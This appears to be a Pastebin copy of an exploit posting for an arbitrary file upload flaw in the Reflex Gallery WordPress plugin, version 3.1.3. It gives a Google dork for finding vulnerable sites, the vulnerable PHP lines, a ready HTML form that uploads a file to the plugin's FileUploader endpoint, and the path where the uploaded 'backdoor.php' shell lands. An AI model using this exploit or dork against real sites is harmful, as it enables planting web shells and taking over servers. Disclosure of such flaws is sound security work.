CrashBandicot

Wordpress Plugin Reflex Gallery - Arbitrary File Upload

Apr 1st, 2015
11,109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.22 KB | None | 0 0
  1. # Exploit Title: Wordpress Plugin Reflex Gallery - Arbitrary File Upload
  2. # Google Dork: inurl:wp-content/plugins/reflex-gallery/
  3. # Date: 08.03.2015
  4. # Exploit Author: CrashBandicot @DosPerl
  5. # OSVDB-ID: 88853
  6. # Vendor Homepage: https://wordpress.org/plugins/reflex-gallery/
  7. # Software Link: https://downloads.wordpress.org/plugin/reflex-gallery.zip
  8. # Version: 3.1.3 (Last)
  9. # Tested on: Windows
  10.  
  11. # p0C : http://i.imgur.com/mj8yADU.png
  12.  
  13. # Path : wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php
  14. # add Month and Year in GET for Folder of Shell ./wp-content/uploads/" .$_GET['Year'].'/'.$_GET['Month']. "
  15.  
  16. Vulnerable File : php.php
  17. 50.      if(!move_uploaded_file($_FILES['qqfile']['tmp_name'], $path)){
  18. 173.         $result = $uploader->handleUpload('../../../../../uploads/'.$_GET['Year'].'/'.$_GET['Month'].'/');
  19.  
  20.  
  21. # Exploit :
  22.  
  23. <form method="POST" action="http://127.0.0.1:1337/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2015&Month=03" enctype="multipart/form-data" >
  24.     <input type="file" name="qqfile"><br>
  25.     <input type="submit" name="Submit" value="Pwn!">
  26. </form>
  27.  
  28.  
  29. # Shell Path : http://127.0.0.1:1337/wordpress/wp-content/uploads/2015/03/backdoor.php
Advertisement
Add Comment
Please, Sign In to add comment